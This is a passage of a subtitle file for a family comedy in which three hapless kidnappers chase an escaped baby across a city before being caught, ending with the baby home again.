00:46:30.843 --> 00:46:34.771
- l'm afraid, Eddie.
- Freeze. Just stare him down.

401
00:46:40.091 --> 00:46:42.098
That's it.

402
00:47:10.299 --> 00:47:11.509
Shut up!

403
00:48:02.939 --> 00:48:05.426
Hey, King Kong. Hey, over here.

404
00:48:06.171 --> 00:48:08.276
l'm a banana.

405
00:48:08.411 --> 00:48:12.306
l'm a coconut. l'm an entire fruit salad.

406
00:48:12.635 --> 00:48:15.253
Over here. Hey, look. l'm the Jungle Boy.

407
00:48:15.355 --> 00:48:18.770
Over here. That's it.

408
00:48:19.355 --> 00:48:21.329
Now you got it.

409
00:48:23.707 --> 00:48:25.332
l got him.

410
00:48:29.755 --> 00:48:31.511
l got him.

411
00:48:34.971 --> 00:48:37.622
Bad monkey.

412
00:50:24.028 --> 00:50:26.002
- Eddie?
- Careful, Eddie.

413
00:51:49.371 --> 00:51:51.379
Eddie.

414
00:51:52.988 --> 00:51:55.409
l know you don't wanna hear this, but...

415
00:51:58.428 --> 00:52:00.402
the kid's gone again.

416
00:52:58.268 --> 00:53:01.978
This morning all l wanted
was my baby's picture in the paper.

417
00:53:09.020 --> 00:53:11.060
l got my wish.

418
00:53:14.364 --> 00:53:16.338
Where's your mommy?

419
00:53:50.269 --> 00:53:53.335
Hey, Eddie, maybe
he went down a rabbit hole.

420
00:53:53.436 --> 00:53:57.462
We're serious about our work.
You wanna make jokes, join the circus.

421
00:54:00.188 --> 00:54:01.977
Bozo.

422
00:54:10.012 --> 00:54:13.012
Step on it, Eddie. Baby, starboard side.

423
00:54:14.044 --> 00:54:15.419
- Starboard.
- What?

424
00:54:15.516 --> 00:54:17.524
- Port.
- What is that?

425
00:54:17.628 --> 00:54:19.003
- Point!
- Nine o'clock!

426
00:54:19.069 --> 00:54:21.851
- Where is he?
- Over here at 6:30.

427
00:54:23.804 --> 00:54:25.015
Step on it.

428
00:54:26.812 --> 00:54:29.234
You're ours now, moneybags.

429
00:54:39.229 --> 00:54:42.360
Did Baby Bink miss his Uncle Eddie?

430
00:54:45.437 --> 00:54:47.444
- Come here.
- Get him.

431
00:54:50.301 --> 00:54:52.690
- Did you get him?
- No! Come on!

432
00:55:03.356 --> 00:55:05.396
Where'd he go?

433
00:55:05.468 --> 00:55:08.468
He went down a rabbit hole.

434
00:55:10.268 --> 00:55:15.003
- Don't let those rabbits chew your face off.
- Shut up, Veeko. Just shut up!

435
00:55:16.636 --> 00:55:21.786
No problem, fellas. lt ain't a hole,
it's a tunnel. And what's every tunnel got?

436
00:55:21.853 --> 00:55:24.536
Don't tell me. l know, l know. lt's a...

437
00:55:25.341 --> 00:55:27.446
Toll booth at the end.

438
00:55:27.517 --> 00:55:31.226
Are you always this stupid,
or do you do this just to annoy me?

439
00:55:31.325 --> 00:55:36.115
A tunnel has two ends.
This one's here, and the other one's...

440
00:55:36.221 --> 00:55:38.523
Where? Come on.

441
00:55:51.869 --> 00:55:55.065
- Eddie, Eddie, Eddie.
- Get him, Norby. Get him.

442
00:55:55.132 --> 00:55:58.231
- Don't let him get away.
- Here he is, Eddie.

443
00:56:00.317 --> 00:56:03.383
Today ain't your lucky day, eh, shorty-pants?

444
00:56:05.245 --> 00:56:07.579
That wasn't so hard.

445
00:56:43.645 --> 00:56:47.027
- Beautiful day, huh?
- You know anything about that vehicle?

446
00:56:52.413 --> 00:56:54.934
Yes. lt belongs to us.

447
00:56:55.005 --> 00:56:56.827
You left the engine running.

448
00:56:57.117 --> 00:56:58.644
Yes.

449
00:56:58.749 --> 00:57:00.691
l did.

450
00:57:00.765 --> 00:57:04.343
l've been having battery trouble.

451
00:57:05.341 --> 00:57:08.789
We just stopped by to admire the beauti...

452
00:57:10.909 --> 00:57:14.205
beautiful flowers.

453
00:57:21.757 --> 00:57:24.627
Have you guys seen a baby around here?

454
00:57:24.829 --> 00:57:26.804
The park is full of...

455
00:57:28.509 --> 00:57:31.858
- babies.
- Yeah, well, there's been a kidnapping.

456
00:57:31.965 --> 00:57:34.354
Well, that's a cryin' shame.

457
00:57:34.685 --> 00:57:37.303
lt's amazing what people will do for money.

458
00:57:37.373 --> 00:57:39.348
Yeah, for five million...

459
00:57:40.477 --> 00:57:42.549
lf we see anything...

460
00:57:46.397 --> 00:57:48.088
Excuse me.

461
00:57:48.862 --> 00:57:52.855
lf we see anything, we'll be sure to notify...

462
00:58:21.021 --> 00:58:23.061
He's got a bad heart.

463
00:58:31.965 --> 00:58:33.940
Excuse me.

464
00:58:36.413 --> 00:58:38.388
The police.

465
00:58:39.166 --> 00:58:41.075
Thank you.

466
00:58:44.766 --> 00:58:49.555
Walk 'em to the car. My entire reproductive
system is about to go up in flames.

467
00:58:55.326 --> 00:58:57.692
ls that a Fleetline van?

468
00:59:00.030 --> 00:59:02.004
Eddie, is it?

469
00:59:03.006 --> 00:59:05.461
- Yes!
- Yes, it is.

470
00:59:05.565 --> 00:59:07.605
l thought so.

471
00:59:07.710 --> 00:59:10.492
My brother drives one
for a dry-cleaning firm.

472
00:59:10.590 --> 00:59:13.110
Oh, yeah, they drive a lot of those.

473
00:59:13.182 --> 00:59:15.571
He's always had a lot of trouble with his.

474
00:59:15.646 --> 00:59:21.014
Give me a second, l'll think of what he said
is the problem with the electrical system.

475
00:59:21.118 --> 00:59:23.093
- Alternator?
- No.

476
00:59:23.166 --> 00:59:25.467
- Carburetor?
- No.

477
00:59:26.910 --> 00:59:29.910
- There's this little relay thing.
- Veeko!

478
00:59:29.982 --> 00:59:32.022
Veeko.

479
00:59:32.093 --> 00:59:35.355
l think you should move the van.

480
00:59:35.454 --> 00:59:37.625
l have a frog in my throat.

481
00:59:39.294 --> 00:59:42.742
And a brush fire in my undershorts.
Get 'em outta here.

482
00:59:42.814 --> 00:59:47.221
lt's just a bad battery. l think we should
move it before the engine dies.

483
00:59:47.294 --> 00:59:52.051
Yeah, it's just the battery.
Let's get it outta here. Come on, let's...

484
01:00:01.470 --> 01:00:03.609
You sure can tell summer's here.

485
01:00:03.710 --> 01:00:06.077
People got those barbecues goin'.

486
01:00:09.854 --> 01:00:13.847
- Smells great, doesn't it?
- Come on, let's go move the van.

487
01:00:21.054 --> 01:00:22.876
l'll be right with you.

488
01:00:25.758 --> 01:00:28.475
l just have a cramp in my leg.

489
01:00:42.367 --> 01:00:44.155
Take it easy.

490
01:01:23.966 --> 01:01:26.235
That's how you put out campfires.

491
01:01:26.398 --> 01:01:29.497
ls that a fact?

492
01:01:29.599 --> 01:01:31.573
Used to do it in Boy Scouts.

493
01:01:33.343 --> 01:01:36.158
You toasted your marshmallows

494
01:01:36.223 --> 01:01:39.965
over a pile of flaming gonads?

495
01:01:41.150 --> 01:01:43.289
We usually used logs.

496
01:01:44.767 --> 01:01:46.676
Follow that kid!

497
01:01:46.750 --> 01:01:49.401
We'll meet you on the other side.

498
01:01:49.471 --> 01:01:52.253
l'm sorry, man, but it was an emergency.

499
01:01:52.318 --> 01:01:55.318
- You were blazin' pretty hard...
- Shut up!

500
01:02:03.934 --> 01:02:05.942
Oh, boy, Eddie.

501
01:02:06.046 --> 01:02:08.828
You got burnt clear through your skivvies.

502
01:02:11.167 --> 01:02:13.785
Baby Bink! lt's your mother!

503
01:02:13.855 --> 01:02:15.382
Baby Bink!

504
01:02:15.487 --> 01:02:18.334
l'll kill him.

505
01:02:56.543 --> 01:02:58.681
l'm sorry, ma'am.

506
01:03:04.383 --> 01:03:06.772
l haven't forgotten your feelings.

507
01:03:09.054 --> 01:03:11.062
My feelings don't matter.

508
01:03:22.271 --> 01:03:24.278
Yes, they do.

509
01:03:25.055 --> 01:03:26.997
They do very much.

510
01:03:29.247 --> 01:03:32.411
The love my baby's gotten
has been as much yours as mine.

511
01:03:36.031 --> 01:03:38.006
Probably more.

512
01:03:44.672 --> 01:03:46.646
Where's my little boy?

513
01:03:49.695 --> 01:03:51.931
What's he doing?

514
01:03:56.063 --> 01:03:59.893
lf he were home,
he'd be going down for his nap.

515
01:06:54.848 --> 01:06:57.052
l got bad news.

516
01:06:57.120 --> 01:06:59.160
The kid's...

517
01:07:00.128 --> 01:07:02.103
in there.

518
01:07:02.592 --> 01:07:04.566
No, wait. Eddie, there's a guard.

519
01:07:04.704 --> 01:07:07.487
Eddie, no. Eddie, wait. No.

520
01:07:07.584 --> 01:07:10.716
- There's a guard.
- He's asleep, you moron.

521
01:07:12.832 --> 01:07:17.372
Where is he? Come on,
knucklehead. Where is he, huh?

522
01:07:23.808 --> 01:07:25.815
Of course.

523
01:07:26.080 --> 01:07:28.120
Where else would he be?

524
01:07:32.897 --> 01:07:34.871
Let's go get him.

525
01:08:04.417 --> 01:08:06.588
Eddie.

526
01:08:06.689 --> 01:08:08.598
Baby, 12 o'clock.

527
01:08:12.384 --> 01:08:13.911
Up there.

528
01:08:19.808 --> 01:08:22.394
We'll be with you in just a minute.

529
01:08:28.256 --> 01:08:32.250
Lingerie, home furnishings,
men's hats, babies.

530
01:08:34.464 --> 01:08:38.872
- Wait a minute. We passed him.
- Yes, moron. We'll grab him as he goes by.

531
01:08:38.944 --> 01:08:42.588
Yeah, that's a good plan, Ed.
We grab him as he comes by.

532
01:08:42.657 --> 01:08:44.664
You grab him.

533
01:08:45.408 --> 01:08:47.383
- l grab him?
- Right.

534
01:08:48.512 --> 01:08:51.742
As the girder comes up,
you jump out on it and grab the baby.

535
01:08:51.809 --> 01:08:55.802
- Me? By myself?
- You just step out on it. lt ain't difficult.

536
01:08:56.288 --> 01:08:58.907
- Why me?
- Norby's scared of heights.

537
01:08:59.041 --> 01:09:01.496
- Why don't you grab him?
- Nobody asked me!

538
01:09:10.784 --> 01:09:13.632
OK, OK. That's it.

539
01:09:13.697 --> 01:09:15.868
- Come on, don't miss him.
- l'll get it.

540
01:09:15.936 --> 01:09:17.911
Don't miss it. He's coming.

541
01:09:19.520 --> 01:09:24.376
- All right. Don't grab, OK?
- l'm not touching you. There it is. Go!

542
01:09:35.680 --> 01:09:37.590
Here he comes.

543
01:09:41.505 --> 01:09:43.774
How'd he do that?

544
01:09:45.121 --> 01:09:47.096
Baby luck.

545
01:09:59.969 --> 01:10:02.303
Eddie! Help me!

546
01:10:03.905 --> 01:10:07.134
- He asked for you, Ed.
- He ain't thinkin' straight.

547
01:10:07.201 --> 01:10:09.405
- Don't look down.
- What are you doin'?

548
01:10:09.473 --> 01:10:13.728
- Eddie, no! l'm gonna faint!
- Didn't l tell you not to look down?

549
01:10:13.825 --> 01:10:16.094
- Pull me back, please!
- l'm losing my grip.

550
01:10:16.161 --> 01:10:18.878
- Pull me back, please.
- Grab him by the leg.

551
01:10:18.977 --> 01:10:21.149
Grab him by the leg or l'll let you go!

552
01:10:21.217 --> 01:10:23.802
Don't look down.

553
01:10:23.873 --> 01:10:25.783
OK, good. You got him.

554
01:10:30.625 --> 01:10:31.999
Up!

555
01:10:34.977 --> 01:10:37.628
You're going the wrong way! Come up!

556
01:10:37.697 --> 01:10:40.414
- Rest on my feet.
- l could use a hand here!

557
01:10:40.513 --> 01:10:43.382
Hey, quit being a crybaby. Get up.

558
01:10:48.673 --> 01:10:51.455
You're doin' good, but you gotta get back up.

559
01:10:51.521 --> 01:10:53.822
- l'm losin' him, Eddie.
- Quit foolin' around.

560
01:10:53.921 --> 01:10:55.514
Gimme a hand.

561
01:10:59.105 --> 01:11:00.479
What's the matter with you?

562
01:11:14.209 --> 01:11:15.638
Ed?

563
01:11:17.761 --> 01:11:20.150
- Eddie?
- Get off of me.

564
01:11:29.314 --> 01:11:31.703
There he is.

565
01:11:31.778 --> 01:11:34.199
Come on, we'll take the stairs.

566
01:12:27.714 --> 01:12:29.819
lt's comin' back down. Get ready.

567
01:12:33.154 --> 01:12:35.968
- Now, jump.
- l'll wait for another.

568
01:12:36.034 --> 01:12:38.106
No, don't wait. Jump.

569
01:12:38.241 --> 01:12:40.216
Jump!

570
01:13:05.762 --> 01:13:07.551
My...

571
01:13:07.618 --> 01:13:09.406
spine.

572
01:14:16.898 --> 01:14:19.516
- l lived.
- Get back up here!

573
01:14:27.586 --> 01:14:30.106
Come here, you little ball of grief!

574
01:14:32.866 --> 01:14:36.663
Now l gotcha! You ain't
gonna crawl away from this one.

575
01:15:05.250 --> 01:15:06.745
That hurt!

576
01:15:39.586 --> 01:15:41.408
That's it!

577
01:15:42.243 --> 01:15:44.861
No mercy!

578
01:15:49.059 --> 01:15:54.144
This ain't no nursery-school
battle of wits anymore.

579
01:15:54.434 --> 01:15:59.649
This is my five foot, ten inches
of guile, gut and gristle

580
01:15:59.715 --> 01:16:05.181
versus your two and a half feet
of goo-goos, ga-gas and giggles.

581
01:16:09.186 --> 01:16:11.870
lf the Mil...

582
01:16:18.882 --> 01:16:21.566
lf the Milwaukee Mob couldn't kill me,

583
01:16:21.666 --> 01:16:27.515
no milk-puking little thumb-sucker's
got a candle's chance in a cyclone

584
01:16:27.619 --> 01:16:29.758
of gettin' the better of me.

585
01:16:34.754 --> 01:16:36.729
Where are you going?

586
01:16:40.707 --> 01:16:42.496
Come back here.

587
01:16:45.410 --> 01:16:48.639
This isn't funny anymore.

588
01:16:51.747 --> 01:16:54.114
My money!

589
01:18:49.700 --> 01:18:51.325
What?

590
01:18:51.395 --> 01:18:54.079
l thought l saw a baby
crawl around the corner.

591
01:18:56.291 --> 01:18:58.266
Good night, Donald.

592
01:19:33.027 --> 01:19:35.002
Norby!

593
01:19:36.099 --> 01:19:38.009
Veeko!

594
01:19:39.427 --> 01:19:42.526
Ed! We're down here!

595
01:19:50.116 --> 01:19:52.123
Hey, Ed!

596
01:19:54.052 --> 01:19:56.386
We better go before l dry!

597
01:19:57.284 --> 01:20:00.098
Ed, can you see the baby from up there?

598
01:20:01.028 --> 01:20:04.803
Just hang on and we'll come on up.
l got an idea.

599
01:20:15.140 --> 01:20:18.915
We got some news. l don't know
if it's good, but it's not bad.

600
01:20:19.012 --> 01:20:21.761
Since the media broke the story,
calls have come in.

601
01:20:21.956 --> 01:20:25.371
There was a report of a man
looking for a baby on a bus this morning.

602
01:20:25.732 --> 01:20:28.863
A baby missing from
a department store care center.

603
01:20:30.116 --> 01:20:32.799
Another, at three o'clock, at the zoo.

604
01:20:32.868 --> 01:20:36.643
Shortly after that at a downtown park.
And a final report not long ago at...

605
01:20:36.708 --> 01:20:40.123
- A building under construction.
- Yeah, that's right.

606
01:20:42.596 --> 01:20:44.767
He's doing everything in the book.

607
01:20:49.508 --> 01:20:51.482
l know where he is.

608
01:20:52.548 --> 01:20:54.817
''Before returning home for supper,

609
01:20:54.884 --> 01:21:00.318
Nanny and Baby Boo stopped at
the Old Soldiers' Home to visit Mr Tinsel.''

610
01:21:00.420 --> 01:21:02.786
That's where he is.

611
01:21:57.732 --> 01:21:59.707
Come on over.

612
01:22:00.837 --> 01:22:03.684
lt's the kid, on television! The one that...

613
01:22:08.996 --> 01:22:11.680
Come on. That's it. Come on.

614
01:22:27.044 --> 01:22:30.754
~ This is the army, Mr Jones

615
01:22:30.820 --> 01:22:34.617
~ No private rooms or telephones

616
01:22:34.724 --> 01:22:38.020
~ You had your breakfast in bed before

617
01:22:38.084 --> 01:22:42.492
~ But you won't get it there anymore

618
01:22:42.596 --> 01:22:46.241
~ This is the army, Mr Brown

619
01:22:46.309 --> 01:22:49.505
~ You and your baby went to town

620
01:22:49.957 --> 01:22:53.339
~ She had you worried, but this is war

621
01:22:53.412 --> 01:22:57.274
~ And she won't worry you anymore

622
01:22:57.477 --> 01:23:00.957
~ No, she won't worry you

623
01:23:01.061 --> 01:23:04.673
~ Anymore

624
01:23:21.188 --> 01:23:23.163
Baby.

625
01:23:45.540 --> 01:23:47.744
You had quite an adventure today.

626
01:23:47.845 --> 01:23:49.634
Boo-boo.

627
01:23:52.325 --> 01:23:56.154
- Boo-boo?
- lt's what he calls his book. He lost it today.

628
01:23:56.261 --> 01:23:59.577
We'll get you another one, sweetheart.

629
01:24:02.597 --> 01:24:03.873
What?

630
01:24:05.765 --> 01:24:07.423
What?

631
01:24:07.493 --> 01:24:10.046
Oh, l see. That's nice.

632
01:24:11.460 --> 01:24:14.527
That's not a boo-boo.
That's a clock. A ticktock.

633
01:24:14.597 --> 01:24:17.499
- Was there a ticktock in his book?
- No.

634
01:24:19.973 --> 01:24:22.428
Well, he's pointing to...

635
01:24:24.165 --> 01:24:28.321
His boo-boo. He's not pointing
at the ticktock. He wants his boo-boo.

636
01:24:28.389 --> 01:24:33.091
- l thought he was getting a new boo-boo.
- He means his boo-boo's back there.

637
01:24:34.661 --> 01:24:40.029
Radio Rogers and McCloskey. Tell them we're
going to the ticktock to get the boo-boo.

638
01:24:40.101 --> 01:24:41.924
And send for backup.

639
01:25:32.550 --> 01:25:37.820
Hey, Eddie, you sure you don't wanna
go check to see if they left the money?

640
01:25:37.925 --> 01:25:40.380
Oh, that's a good idea.

641
01:25:40.453 --> 01:25:43.584
We get the living hell
tore out of us by a baby!

642
01:25:43.749 --> 01:25:48.321
Three fully grown men versus
15 pounds of pink flesh with a mouth.

643
01:25:48.581 --> 01:25:54.048
What chance have we got of strolling into
that alley and coming out with anything less

644
01:25:54.118 --> 01:25:56.539
- than 140 years in prison?
- No way.

645
01:25:56.613 --> 01:25:58.620
No, thank you!

646
01:25:58.693 --> 01:26:02.949
This is a hexed situation.
We walk away while we're still ahead.

647
01:26:03.045 --> 01:26:05.762
We took a lickin' and kept on tickin'.

648
01:26:05.830 --> 01:26:07.488
We'll go back to banks.

649
01:26:07.750 --> 01:26:11.011
Dealing with grownups.
l don't want no kiddy stuff.

650
01:26:11.109 --> 01:26:15.266
- We did all right with banks.
- Or a convenience store once in a while.

651
01:26:15.365 --> 01:26:22.076
You know, one thing l learned from all this:
l ain't never gonna have any kids of my own.

652
01:26:24.101 --> 01:26:29.339
Yeah, seeing as you burnt down the only tree
in your forest, l wouldn't worry about it.

653
01:26:31.654 --> 01:26:33.377
Why don't you shut up?

654
01:26:33.830 --> 01:26:38.619
l don't wanna ever hear another word
about that rotten, snake-bit baby.

655
01:26:41.062 --> 01:26:42.655
l'm serious!

656
01:26:47.782 --> 01:26:50.270
l'm hearing that little vermin in my thoughts.

657
01:26:50.342 --> 01:26:52.676
l wanna erase him from my mind.

658
01:26:55.398 --> 01:26:57.438
Did you hear that?

659
01:26:58.342 --> 01:27:01.309
- Yeah.
- You know what it sounds like?

660
01:27:18.758 --> 01:27:21.027
He's back.

661
01:27:42.822 --> 01:27:45.407
You dirty, no-good little stool pigeon!

662
01:27:45.510 --> 01:27:48.772
You're surrounded. Throw down the boo-boo.

663
01:27:53.478 --> 01:27:56.063
And put your hands over your heads.

664
01:28:37.862 --> 01:28:39.837
This is the end of the story.

665
01:29:05.382 --> 01:29:07.237
Good night, sweetheart.

666
01:29:07.878 --> 01:29:09.853
Good night, Bink.

667
01:29:17.606 --> 01:29:21.697
Did l tell you? The baby's
having his picture taken tomorrow,

668
01:29:21.798 --> 01:29:24.645
- Say hello to old Willy,
- l will,


ZeroDay Forums Mini